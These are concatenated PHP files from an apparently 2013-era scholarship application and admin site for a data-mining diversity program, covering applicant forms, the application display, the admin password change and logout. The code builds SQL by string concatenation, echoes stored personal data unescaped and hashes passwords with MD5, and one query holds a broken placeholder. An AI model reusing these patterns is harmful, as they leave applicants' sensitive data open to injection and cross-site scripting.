if(!empty($_SESSION["citizenship"])){echo($_SESSION["citizenship"]);} ?></option> <option value="Non-resident Alien">Non-resident Alien</option> <option value="U.S. Permanent Resident">U.S. Permanent Resident</option> <option value="U.S. Citizen">U.S. Citizen</option> <option value="Unknown">Unknown</option> </select> </label><br /><br /> <label for="nationality"><b>* </b>Nationality: <input id="nationality" name="nationality" maxlength="25" type="text" value="<?php echo($_SESSION["nationality"]); ?>" /></label><br /><br /> <label for="gender">&nbsp;&nbsp;Gender: <div style="float:right"><input type="radio" name="gender" value="Male" <?php if($_SESSION["gender"] == "Male"){echo("checked=\"checked\"");}?>>Male&nbsp;&nbsp;<input type="radio" name="gender" value="Female" <?php if($_SESSION["gender"] == "Female"){echo("checked=\"checked\"");}?>>Female</div></label><br /><br /> <label for="race">&nbsp;&nbsp;Racial Identity: <select name="race" id="race" size="1"> <option value="<?php if(!empty($_SESSION["race"])){echo($_SESSION["race"]);} ?>" selected="selected" style="display:none"><?php if(!empty($_SESSION["race"])){echo($_SESSION["race"]);} ?></option> <option value="Black/African-American">Black/African-American</option> <option value="White/Caucasian">White/Caucasian</option> <option value="Native American or Alaska Native">Native American or Alaska Native</option> <option value="Asian/Pacific Islander">Asian/Pacific Islander</option> <option value="Other">Other</option> <option value="Unknown">Unknown</option> </select> </label><br /><br /> <label for="ethnicity">&nbsp;&nbsp;Ethnicity Identity: <select name="ethnicity" id="ethnicity" size="1"> <option value="<?php if(!empty($_SESSION["ethnicity"])){echo($_SESSION["ethnicity"]);} ?>" selected="selected" style="display:none"><?php if(!empty($_SESSION["ethnicity"])){echo($_SESSION["ethnicity"]);} ?></option> <option value="Hispanic/Latino">Hispanic/Latino</option> <option value="Not Hispanic/Latino">Not Hispanic/Latino</option> <option value="Unknown">Unknown</option> </select> </label><br /><br /> <label for="underrepresentedGroup"><b>* </b>Which, if any, under-represented group(s) are you part of?<br /><br /><textarea id="underrepresentedGroup" name="underrepresentedGroup" style=""><?php echo($_SESSION["underrepresentedGroup"]); ?></textarea></label><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /> <h2>Academic Information</h2> <label for="org"><b>* </b>Institution / Organization: <input id="org" name="org" maxlength="25" type="text" value="<?php echo($_SESSION["org"]); ?>" /></label><br /><br /> <label for="dept"><b>* </b>Department: <input id="dept" name="dept" maxlength="50" type="text" value="<?php echo($_SESSION["dept"]); ?>" /></label><br /><br /> <label for="currDegree"><b>* </b>Current Degree Program: <select name="currDegree" id="currDegree" size="1"> <option value="<?php if(!empty($_SESSION["currDegree"])){echo($_SESSION["currDegree"]);} ?>" selected="selected" style="display:none"><?php if(!empty($_SESSION["currDegree"])){echo($_SESSION["currDegree"]);} ?></option> <option value="Ph. D.">Ph. D.</option> <option value="Masters">Masters</option> <option value="Postdoc">Postdoc</option> <option value="Other">Other</option> </select> </label><br /><br /> <label for="highestDegree"><b>* </b>Highest Degree Attained: <select name="highestDegree" id="highestDegree" size="1"> <option value="<?php if(!empty($_SESSION["highestDegree"])){echo($_SESSION["highestDegree"]);} ?>" selected="selected" style="display:none"><?php if(!empty($_SESSION["highestDegree"])){echo($_SESSION["highestDegree"]);} ?></option> <option value="Undergraduate - B.S.">Undergraduate - B.S.</option> <option value="Undergraduate - B.A.">Undergraduate - B.A.</option> <option value="Undergraduate - Other">Undergraduate - Other</option> <option value="Graduate - M.S.">Graduate - M.S.</option> <option value="Graduate - M.A.">Graduate - M.A.</option> <option value="Graduate - M. Ed.">Graduate - M. Ed.</option> <option value="Graduate - Ph. D.">Graduate - Ph. D.</option> <option value="Graduate - Ph. Ed.">Graduate - Ph. Ed.</option> <option value="Graduate - Other">Graduate - Other</option> <option value="Other">Other</option> </select> </label><br /><br /> <label for="areaOfInterest"><b>* </b>Research Area(s) of Interest: <input id="areaOfInterest" name="areaOfInterest" maxlength="100" type="text" value="<?php echo($_SESSION["areaOfInterest"]); ?>" /></label><br /><br /> <label for="fullTimeStudent"><b>* </b>Are you a full-time student? <div style="float:right"><input type="radio" name="fullTimeStudent" value="Yes" <?php if($_SESSION["fullTimeStudent"] == "Yes"){echo("checked=\"checked\"");}?>>Yes&nbsp;&nbsp;<input type="radio" name="fullTimeStudent" value="No" <?php if($_SESSION["fullTimeStudent"] == "No"){echo("checked=\"checked\"");}?>>No</div></label><br /><br /><br /><br /> <h2>Social Media Information</h2> <label for="facebookName">&nbsp;&nbsp;Facebook Name: <input id="facebookName" name="facebookName" maxlength="25" type="text" value="<?php echo($_SESSION["facebookName"]); ?>" /></label><br /><br /> <label for="linkedInName">&nbsp;&nbsp;LinkedIn Name: <input id="linkedInName" name="linkedInName" maxlength="25" type="text" value="<?php echo($_SESSION["linkedInName"]); ?>" /></label><br /><br /> <label for="twitterName">&nbsp;&nbsp;Twitter Name: <input id="twitterName" name="twitterName" maxlength="25" type="text" value="<?php echo($_SESSION["twitterName"]); ?>" /></label><br /><br /><br /><br /> <h2>Previous Participation</h2> <label for="previousBPDMAttend"><b>* </b>Did you attend Broadening Participation in Data Mining Program last year?<div style="float:right"><input type="radio" name="previousBPDMAttend" value="Yes" <?php if($_SESSION["previousBPDMAttend"] == "Yes"){echo("checked=\"checked\"");}?>>Yes&nbsp;&nbsp;<input type="radio" name="previousBPDMAttend" value="No" <?php if($_SESSION["previousBPDMAttend"] == "No"){echo("checked=\"checked\"");}?>>No</div></label><br /><br /> <label for="previousACMSIGKDDAttend"><b>* </b>Have you attended ACM SIGKDD before?<div style="float:right"><input type="radio" name="previousACMSIGKDDAttend" value="Yes" <?php if($_SESSION["previousACMSIGKDDAttend"] == "Yes"){echo("checked=\"checked\"");}?>>Yes&nbsp;&nbsp;<input type="radio" name="previousACMSIGKDDAttend" value="No" <?php if($_SESSION["previousACMSIGKDDAttend"] == "No"){echo("checked=\"checked\"");}?>>No</div></label><br /><br /> <label for="ACMSIGKDDAttendYear">&nbsp;&nbsp;If so, which year(s): <input id="ACMSIGKDDAttendYear" name="ACMSIGKDDAttendYear" maxlength="25" type="text" value="<?php echo($_SESSION["ACMSIGKDDAttendYear"]); ?>" /></label><br /><br /><br /><br /> <label for="ACMSIGKDDApplication">If you have submitted to ACM SIGKDD 2013, please provide the submission type and title:<br /><br /><textarea id="ACMSIGKDDApplication" name="ACMSIGKDDApplication" style=""><?php echo($_SESSION["ACMSIGKDDApplication"]); ?></textarea></label><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /> <label for="otherWorkshops">Have you ever attended any other workshops where the focus was in broadening participation of underrepresented groups? If so, provide titles and years.<br /><br /><textarea id="otherWorkshops" name="otherWorkshops" style=""><?php echo($_SESSION["otherWorkshops"]);?></textarea></label><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /> <h2>Emergency & Miscellaneous Information</h2> <label for="dietaryRestrictions"><b>* </b>Do you have any dietary restrictions?<br /><br /><textarea id="dietaryRestrictions" name="dietaryRestrictions" style=""><?php echo($_SESSION["dietaryRestrictions"]);?></textarea></label><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /> <label for="smokingPreference"><b>* </b>Smoking preference:<div style="float:right"><input type="radio" name="smokingPreference" value="Smoking" <?php if($_SESSION["smokingPreference"] == "Smoking"){echo("checked=\"checked\"");}?>>Smoking&nbsp;&nbsp;<input type="radio" name="smokingPreference" value="Non-Smoking" <?php if($_SESSION["smokingPreference"] == "Non-Smoking"){echo("checked=\"checked\"");}?>>Non-Smoking</div></label><br /><br /><br /><br /> <label for="isLocal"><b>* </b>I am a local participant and do not need hotel accommodations:<div style="float:right"><input type="radio" name="isLocal" value="Yes" <?php if($_SESSION["isLocal"] == "Yes"){echo("checked=\"checked\"");}?>>Yes&nbsp;&nbsp;<input type="radio" name="isLocal" value="No" <?php if($_SESSION["isLocal"] == "No"){echo("checked=\"checked\"");}?>>No</div></label><br /><br /> <label for="hotelRequests">Briefly describe any special hotel requests, if any.<br /><br /><textarea id="hotelRequests" name="hotelRequests" style=""><?php echo($_SESSION["hotelRequests"]);?></textarea></label><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /> <label for="flightArrival"><b>* </b>Flight Arrival date: <input id="flightArrival" name="flightArrival" onfocus="changeExText('flightArrival')" style="<?php if($_SESSION["flightArrival"] == ""){echo("color:#666666;");}?>" type="date" <?php if($_SESSION["flightArrival"] != ""){echo("value=\"".$_SESSION["flightArrival"]."\"");}else{echo("value=\"YYYY-MM-DD\"");} ?> /></label><br /><br /> <label for="hotelArrival"><b>* </b>Hotel Arrival date: <input id="hotelArrival" name="hotelArrival" onfocus="changeExText('hotelArrival')" style="<?php if($_SESSION["hotelArrival"] == ""){echo("color:#666666;");}?>" type="date" <?php if($_SESSION["hotelArrival"] != ""){echo("value=\"".$_SESSION["hotelArrival"]."\"");}else{echo("value=\"YYYY-MM-DD\"");} ?> /></label><br /><br /> <label for="flightDeparture"><b>* </b>Flight Departure date: <input id="flightDeparture" name="flightDeparture" onfocus="changeExText('flightDeparture')" style="<?php if($_SESSION["flightDeparture"] == ""){echo("color:#666666;");}?>" type="date" <?php if($_SESSION["flightDeparture"] != ""){echo("value=\"".$_SESSION["flightDeparture"]."\"");}else{echo("value=\"YYYY-MM-DD\"");} ?> /></label><br /><br /> <label for="hotelDeparture"><b>* </b>Hotel Departure date: <input id="hotelDeparture" name="hotelDeparture" onfocus="changeExText('hotelDeparture')" style="<?php if($_SESSION["hotelDeparture"] == ""){echo("color:#666666;");}?>" type="date" <?php if($_SESSION["hotelDeparture"] != ""){echo("value=\"".$_SESSION["hotelDeparture"]."\"");}else{echo("value=\"YYYY-MM-DD\"");} ?> /></label><br /><br /><br /><br /> <h2>Interest in BPDM 2013 & Objectives</h2> <label for="volunteer"><b>* </b>Would you also consider volunteering during part of the conference? (volunteers will have a higher chance of being selected for a scholarship)<div style="float:right"><input type="radio" name="volunteer" value="Yes" <?php if($_SESSION["volunteer"] == "Yes"){echo("checked=\"checked\"");}?>>Yes&nbsp;&nbsp;<input type="radio" name="volunteer" value="No" <?php if($_SESSION["volunteer"] == "No"){echo("checked=\"checked\"");}?>>No</div></label><br /><br /> <label for="learnAboutBPDM"><b>* </b>How did you learn about the Broadening Participation in Data Mining Program?<br /><br /><textarea id="learnAboutBPDM" name="learnAboutBPDM" style=""><?php echo($_SESSION["learnAboutBPDM"]); ?></textarea></label><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /> <label for="fundingNeed"><b>* </b>Why do you need the funding?<br /><br /><textarea id="fundingNeed" name="fundingNeed" style=""><?php echo($_SESSION["fundingNeed"]); ?></textarea></label><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /> <label for="motivation"><b>* </b>Describe your motivation for attending Broadening Participation in Data Mining. (500 word limit)<br /><br /><textarea id="motivation" name="motivation" style="height:400px;"><?php echo($_SESSION["motivation"]); ?></textarea></label><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /> <label for="interests"><b>* </b>Briefly describe your areas of academic and professional interest. (500 word limit)<br /><br /><textarea id="interests" name="interests" style="height:400px;"><?php echo($_SESSION["interests"]); ?></textarea></label><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /> <label for="aspirations"><b>* </b>What are your professional aspirations over the next five years? (500 word limit)<br /><br /><textarea id="aspirations" name="aspirations" style="height:400px;"><?php echo($_SESSION["aspirations"]); ?></textarea></label><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /> <input id="save" name="save" type="submit" value="Save Your Application" style="width:200px;" /><br /><br /> <input id="submit" name="submit" type="submit" value="Submit Your Application" style="width:200px;" /> </fieldset> </form> <?php } else { $sql = "SELECT Email, FirstName, LastName, Address1, Address2, City, State, Zipcode, Country, Phone, Citizenship, Nationality, Gender, Race, Ethnicity, UnderRepresentedGroup, Organization, Department, CurrentDegree, HighestDegree, AreaOfInterest, FullTimeStudent, FacebookName, LinkedInName, TwitterName, PreviousBPDMAttend, PreviousACMSIGKDDAttend, ACMSIGKDDAttendYear, ACMSIGKDDApplication, OtherWorkshops, DietaryRestrictions, SmokingPreference, Local, HotelRequests, FlightArrival, HotelArrival, FlightDeparture, HotelDeparture, Volunteer, LearnAboutBPDM, FundingNeed, Motivation, Interests, Aspirations FROM Application WHERE Email='".$_SESSION["loggedAs"]."';"; $result = mysql_query($sql); // get the sql request if(empty($result)) { $num_results = 0; } else { $num_results = mysql_num_rows($result); } if($num_results != 0) { $row = mysql_fetch_array($result); } ?> <h1>Your Application Has Been Submitted</h1> <div class="application-data"> <div class="item"><div class="heading">Applicant Name:</div><div class="data"><?php echo($row["FirstName"]." ".$row["LastName"]);?></div></div> <div class="item"><div class="heading">Email:</div><div class="data"><?php echo($row["Email"]);?></div></div> <div class="item"><div class="heading">Address 1:</div><div class="data"><?php echo($row["Address1"]);?></div></div> <div class="item"><div class="heading">Address 2:</div><div class="data"><?php echo($row["Address2"]);?></div></div> <div class="item"><div class="heading">City:</div><div class="data"><?php echo($row["City"]);?></div></div> <div class="item"><div class="heading">State:</div><div class="data"><?php echo($row["State"]);?></div></div> <div class="item"><div class="heading">Zipcode:</div><div class="data"><?php echo($row["Zipcode"]);?></div></div> <div class="item"><div class="heading">Country:</div><div class="data"><?php echo($row["Country"]);?></div></div> <div class="item"><div class="heading">Phone:</div><div class="data"><?php echo($row["Phone"]);?></div></div> <div class="item"><div class="heading">Citizenship Status:</div><div class="data"><?php echo($row["Citizenship"]);?></div></div> <div class="item"><div class="heading">Nationality:</div><div class="data"><?php echo($row["Nationality"]);?></div></div> <div class="item"><div class="heading">Gender:</div><div class="data"><?php echo($row["Gender"]);?></div></div> <div class="item"><div class="heading">Racial Identity:</div><div class="data"><?php echo($row["Race"]);?></div></div> <div class="item"><div class="heading">Ethnicity Identity:</div><div class="data"><?php echo($row["Ethnicity"]);?></div></div> <div class="item"><div class="heading">Which, if any, under-represented group(s) are you part of?</div><div class="data"><?php echo($row["UnderRepresentedGroup"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Institution / Organization:</div><div class="data"><?php echo($row["Organization"]);?></div></div> <div class="item"><div class="heading">Department:</div><div class="data"><?php echo($row["Department"]);?></div></div> <div class="item"><div class="heading">Current Degree Program:</div><div class="data"><?php echo($row["CurrentDegree"]);?></div></div> <div class="item"><div class="heading">Highest Degree Attained:</div><div class="data"><?php echo($row["HighestDegree"]);?></div></div> <div class="item"><div class="heading">Research Area(s) of Interest:</div><div class="data"><?php echo($row["AreaOfInterest"]);?></div></div> <div class="item"><div class="heading">Are you a full-time student?:</div><div class="data"><?php echo($row["FullTimeStudent"]);?></div></div> <div class="item"><div class="heading">Facebook Name:</div><div class="data"><?php echo($row["FacebookName"]);?></div></div> <div class="item"><div class="heading">LinkedIn Name:</div><div class="data"><?php echo($row["LinkedInName"]);?></div></div> <div class="item"><div class="heading">Twitter Name:</div><div class="data"><?php echo($row["TwitterName"]);?></div></div> <div class="item"><div class="heading">Did you attend Broadening Participation in Data Mining Program last year?</div><div class="data"><?php echo($row["PreviousBPDMAttend"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Have you attended ACM SIGKDD before?</div><div class="data"><?php echo($row["PreviousACMSIGKDDAttend"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">If so, which year(s)?</div><div class="data"><?php echo($row["ACMSIGKDDAttendYear"]);?></div></div> <div class="item"><div class="heading">If you have submitted to ACM SIGKDD 2013, please provide the submission type and title:</div><div class="data"><?php echo($row["ACMSIGKDDApplication"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Have you ever attended any other workshops where the focus was in broadening participation of underrepresented groups? If so, provide titles and years.</div><div class="data"><?php echo($row["OtherWorkshops"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Do you have any dietary restrictions?</div><div class="data"><?php echo($row["DietaryRestrictions"]);?></div></div> <div class="item"><div class="heading">Smoking preference:</div><div class="data"><?php echo($row["SmokingPreference"]);?></div></div> <div class="item"><div class="heading">I am a local participant and do not need hotel accommodations:</div><div class="data"><?php echo($row["Local"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Briefly describe any special hotel requests, if any.</div><div class="data"><?php echo($row["HotelRequests"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Flight Arrival date:</div><div class="data"><?php echo($row["FlightArrival"]);?></div></div> <div class="item"><div class="heading">Hotel Arrival date:</div><div class="data"><?php echo($row["HotelArrival"]);?></div></div> <div class="item"><div class="heading">Flight Departure date:</div><div class="data"><?php echo($row["FlightDeparture"]);?></div></div> <div class="item"><div class="heading">Hotel Departure date:</div><div class="data"><?php echo($row["HotelDeparture"]);?></div></div> <div class="item"><div class="heading">Would you also consider volunteering during part of the conference?</div><div class="data"><?php echo($row["Volunteer"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">How did you learn about the Broadening Participation in Data Mining Program?</div><div class="data"><?php echo($row["LearnAboutBPDM"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Why do you need the funding?</div><div class="data"><?php echo($row["FundingNeed"]);?></div></div> <div class="item"><div class="heading">Describe your motivation for attending Broadening Participation in Data Mining.</div><div class="data"><?php echo($row["Motivation"]);?></div><br style="clear:both;" /></div> <div class="item"><div class="heading">Briefly describe your areas of academic and professional interest.</div><div class="data"><?php echo($row["Interests"]);?></div><br style="clear:both;" /></div> <div class="item" style="border-bottom:none;"><div class="heading">What are your professional aspirations over the next five years?</div><div class="data"><?php echo($row["Aspirations"]);?></div><br style="clear:both;" /></div> </div> <?php include("includes/closeConn.php"); } ?> <br /> <a href="passThru/logout.php" style="color:#097cbb;text-decoration:none;font-size:15px;font-weight:bold;">Log Out</a> </div> <aside> <?php include("includes/aside.php");?> </aside> <br style="clear:both" /> </article> <?php include("includes/footer-nav.php"); ?> <?php include("includes/footer.php"); ?> <script src="https://api.twitter.com/1/statuses/user_timeline.json?screen_name=BPDMProgram&include_rts=true&callback=twitterCallback2&count=5"></script> </body> </html><file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include("../includes/constants.php"); $cur_time = time(); if($_SESSION["loggedAs"] == "") { header("Location: ../login.php"); } if($_SESSION["adminType"] != "Super" && $_SESSION["adminType"] != "Regular") { header("Location: ../index.php"); } if($_SESSION["loggedAs"] != "" && $cur_time > $_SESSION["timeout"]) { //destroy the session (reset) session_destroy(); header("Location: login.php"); } else { //set new time $_SESSION["last_page"] = ""; $_SESSION["timeout"] = time() + $TIME_OUT; } $usage = $_GET["u"]; // get the usage $valid = true; // create a flag variable for form validity $loginPassEx = "/^([a-zA-Z0-9]){1,}$/"; // create an expression to test against the name if($usage == "info") // if the useage is editing info { // set variables from the form $login = $_POST["id"]; $fname = $_POST["fName"]; $lname = $_POST["lName"]; $email = $_POST["email"]; if(!preg_match($loginPassEx, $login) || $login == "") // if the name fails the expression or is blank { $valid = false; // show that the form is not valid $_SESSION["login"] = ""; // clear the name from the form $error .= "Enter a valid Login Name."; // create the error message } // end of if $nameEx = "/^([a-zA-Z ]){1,}$/"; // create an expression to test against the name if(!preg_match($nameEx, $fname) || $fname == "") // if the name fails the expression or is blank { $valid = false; // show that the form is not valid if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $_SESSION["fname"] = ""; // clear the name from the form $error .= "Enter a valid First Name."; // create the error message } // end of if if(!preg_match($nameEx, $lname) || $lname == "") // if the name fails the expression or is blank { $valid = false; // show that the form is not valid if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $_SESSION["lname"] = ""; // clear the name from the form $error .= "Enter a valid Last Name."; // create the error message } // end of if $emailEx = "/^([^0-9][a-zA-Z0-9_]+)*([@][a-zA-Z0-9_]+)([.][a-zA-Z0-9_]+)$/"; // create an expression to test against the email if(!preg_match($emailEx, $email) || $email == "") // if the email fails the expression or is blank { $valid = false; // show that the form is not valid $error = ""; // clear the email from the form if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $error .= "Enter a valid email address."; // create the error message } // end of if if($valid) { include("../includes/openConn.php"); $sql = "UPDATE Admin SET FirstName = '".$fname."', LastName = '".$lname."', Email = '".$email."' WHERE AdminID = '".$login."';"; $result = mysql_query($sql); $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#0c0;font-weight:bolder;border:3px solid #090;border-radius:10px;padding:5px;\">Administrator Information Changed!</p>"; include("../includes/closeConn.php"); $_SESSION["userFName"] = $fname; $_SESSION["userLName"] = $lname; $_SESSION["email"] = $email; } else { $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#c00;font-weight:bolder;border:3px solid #900;border-radius:10px;padding:5px;\">".$error."</p>"; } } // end of if else if($usage == "pass") // if the usage is editing the password { // set variables from the form $login = $_POST["idp"]; $oldPass = $_POST["opass"]; $pass1 = $_POST["pass1"]; $pass2 = $_POST["pass2"]; if(!preg_match($loginPassEx, $login) || $login == "") // if the name fails the expression or is blank { $valid = false; // show that the form is not valid $_SESSION["login"] = ""; // clear the name from the form $error .= "Enter a valid Login Name."; // create the error message } // end of if if(!preg_match($loginPassEx, $pass1) || $pass1 == "") // if the password fails the expression or is blank { $valid = false; // show that the form is not valid if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $error .= "Enter a valid Password."; // create the error message } // end of if if($pass1 == $pass2) // if the two passwords do not match { $salt = md5($login); // create a salt variable $password = md5($pass1.$salt); // generate a md5 password } // end of if else { $valid = false; // show that the form is not valid if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $error .= "Entered Passwords did not match."; // create the error message } // end of else if($valid) // password change is valid { include("../includes/openConn.php"); $login = str_replace(" ", "", $_POST["idp"]); // get the username $salt = md5($login); // create a salt variable $oldPass = md5($_POST["opass"].$salt); // generate a md5 password $sql = "SELECT Password FROM Admin WHERE AdminID='".$login."' AND Password='".$<PASSWORD>."';"; // check to make sure the passwords and login name match $result = mysql_query($sql); // get the results if(empty($result)) // if no results { $num_result = 0; // show no results } // end of if else { $num_result = mysql_num_rows($result); // show results } // end of else if($num_result > 0) // if there are results { $sql = "UPDATE Admin SET Password = '".$password."' WHERE AdminID = '".$login."';"; // create the sql string $result = mysql_query($sql); // enter the sql string $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#0c0;font-weight:bolder;border:3px solid #090;border-radius:10px;padding:5px;\">Password Change Successful!</p>"; // show the success message } // end of if else { $error .= "Password Change Failed!"; // show the error message } // end of else include("../includes/closeConn.php"); } // end of if else { $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#c00;font-weight:bolder;border:3px solid #900;border-radius:10px;padding:5px;\">".$error."</p>"; } } // end of else if include("../includes/cleanUp.php"); // clear variables header("Location: ../admin.php"); // redirect to contact page ?><file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); // delete session variables $_SESSION["loggedAs"] = ""; $_SESSION["userFName"] = ""; $_SESSION["userLName"] = ""; $_SESSION["email"] = ""; $_SESSION["adminType"] = ""; // cleanup variables include("../includes/cleanUp.php"); //End the session session_unset(); session_destroy(); //Redirect header("Location: ../index.php"); ?><file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include("includes/constants.php"); $cur_time = time(); if($_SESSION["loggedAs"] == "") { header("Location: login.php"); } if($_SESSION["adminType"] != "Super" && $_SESSION["adminType"] != "Regular") { header("Location: index.php"); } if($_SESSION["loggedAs"] != "" && $cur_time > $_SESSION["timeout"]) { //destroy the session (reset) session_destroy(); header("Location: login.php"); } else { //set new time $_SESSION["last_page"] = ""; $_SESSION["timeout"] = time() + $TIME_OUT; } ?> <!DOCTYPE html> <html> <head profile="http://gmpg.org/xfn/11"> <title>Broadening Participation in Data Mining - Administrative Site</title> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> <meta name="description" content=""/> <meta name="keywords" content=""/> <link rel="stylesheet" href="css/main.css" type="text/css" /> <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> <script src="js/jquery.js" type="text/javascript"></script> <script src="js/main.js" type="text/javascript"></script> <script src="js/twitterFeed.js" type="text/javascript"></script> <script type="text/javascript"> function siteLoaded() { $.ajax({type:"GET",url:"content/sponsors.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#sponsors-content").html(data);}}); $.ajax({type:"GET",url:"content/scholarship-applications.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#scholarship-content").html(data);}}); getRss("#rss-edit"); getRss("#rss-delete"); } </script> </head> <body onload="siteLoaded()"> <?php include("includes/header.php");?> <article> <div id="screen-content"> <h1>Administrative Panel</h1> <?php echo($_SESSION["error"]); ?> <h2>Change Administrative Profile</h2> <form id="form0" action="passThru/editUser.php?u=info" method="post"> <fieldset style="width:300px;"> <input id="id" name="id" type="hidden" value="<?php echo($_SESSION["loggedAs"]); ?>" /> <label for="fName"><b>* </b>First Name: <input id="fName" name="fName" maxlength="25" type="text" value="<?php echo($_SESSION["userFName"]); ?>" /></label><br /><br /> <label for="lName"><b>* </b>Last Name: <input id="lName" name="lName" maxlength="25" type="text" value="<?php echo($_SESSION["userLName"]); ?>" /></label><br /><br /> <label for="email"><b>* </b>Email: <input id="email" name="email" maxlength="40" type="email" value="<?php echo($_SESSION["email"]); ?>" /></label><br /><br /> <input id="submit" name="submit" type="submit" value="Edit Admin" /> </fieldset> </form> <h2>Change Administrative Password</h2> <form id="form1" action="passThru/editUser.php?u=pass" method="post"> <fieldset style="width:300px;"> <input id="idp" name="idp" type="hidden" value="<?php echo($_SESSION["loggedAs"]); ?>" /> <label for="opass"><b>* </b>Old Password: <input id="opass" name="opass" maxlength="25" type="password" value="" /></label><br /><br /> <label for="pass1"><b>* </b>Password: <input id="pass1" name="pass1" maxlength="25" type="password" value="" /></label><br /><br /> <label for="pass2"><b>* </b>Confirm Password: <input id="pass2" name="pass2" maxlength="25" type="password" value="" /></label><br /><br /> <input id="pass-submit" name="pass-submit" type="submit" style="width:150px;" value="Change Password" /> </fieldset> </form> <?php if($_SESSION["adminType"] == "Super") { ?> <h2>Create New Administrator</h2> <form id="form6" action="passThru/createUser.php" method="post"> <fieldset style="width:300px;"> <label for="login_can"><b>* </b>Login: <input id="login_can" name="login_can" maxlength="25" type="text" value="<?php if($_SESSION["loginCan"] != ""){echo($_SESSION["loginCan"]);} ?>" /></label><br /><br /> <label for="pass1_can"><b>* </b>Password: <input id="pass1_can" name="pass1_can" maxlength="25" type="password" value="" /></label><br /><br /> <label for="pass2_can"><b>* </b>Confirm Password: <input id="pass2_can" name="pass2_can" maxlength="25" type="password" value="" /></label><br /><br /> <label for="fName_can"><b>* </b>First Name: <input id="fName_can" name="fName_can" maxlength="25" type="text" value="<?php if($_SESSION["fnameCan"] != ""){echo($_SESSION["fnameCan"]);} ?>" /></label><br /><br /> <label for="lName_can"><b>* </b>Last Name: <input id="lName_can" name="lName_can" maxlength="25" type="text" value="<?php if($_SESSION["lnameCan"] != ""){echo($_SESSION["lnameCan"]);} ?>" /></label><br /><br /> <label for="email_can"><b>* </b>Email: <input id="email_can" name="email_can" maxlength="40" type="email" value="<?php if($_SESSION["emailCan"] != ""){echo($_SESSION["emailCan"]);} ?>" /></label><br /><br /> <input id="submit-new-admin" name="submit-new-admin" type="submit" style="width:120px;" value="Create Admin" /> </fieldset> </form> <?php include("includes/openConn.php"); $sql = "SELECT AdminID, FirstName, LastName, AdminType FROM Admin WHERE AdminType='Regular'"; $result = mysql_query($sql); if(empty($result)) { $num_results = 0; } else { $num_results = mysql_num_rows($result); } if($num_results != 0) { ?> <h2>Delete Administrator</h2> <form id="form7" action="passThru/deleteUser.php" method="post"> <fieldset style="width:300px;"> <label for="admin-delete">Select Admin to Delete: <select name="admin-delete" id="admin-delete" style="float:right;width:130px;"> <?php for($i=0; $i<$num_results; $i++) { $row = mysql_fetch_array($result); if($row["AdminType"] != "Super") { ?> <option value="<?php echo($row["AdminID"]); ?>"><?php echo($row["FirstName"]." ".$row["LastName"]);?></option> <?php } } include("includes/closeConn.php"); ?> </select></label><br /><br /> <input id="delete-admin-submit" name="delete-admin-submit" type="submit" style="width:120px;" value="Delete Admin" /> </fieldset> </form> <?php } } ?> <h2>Create New RSS</h2> <form id="form2" action="passThru/newRss.php" method="post"> <fieldset style="width:550px;"> <label for="title"><b>* </b>RSS Title: <input id="title" name="title" maxlength="50" type="text" value="<?php if($_SESSION["titleCan"] != ""){echo($_SESSION["titleCan"]);} ?>" style="width:400px;" /></label><br /><br /> <label for="desc"><b>* </b>RSS Description: <textarea id="desc" name="desc" style="float:right;width:400px;"><?php if($_SESSION["descCan"] != ""){echo($_SESSION["descCan"]);} ?></textarea></label><br /><br /><br /><br /> <label for="link"><b>* </b>Add Link: <input id="link" name="link" maxlength="25" type="text" value="<?php if($_SESSION["linkCan"] != ""){echo($_SESSION["linkCan"]);} ?>" style="width:400px;" /></label><br /><br /> <input id="rss-submit" name="rss-submit" type="submit" style="" value="Create RSS" /> </fieldset> </form> <h2>Edit 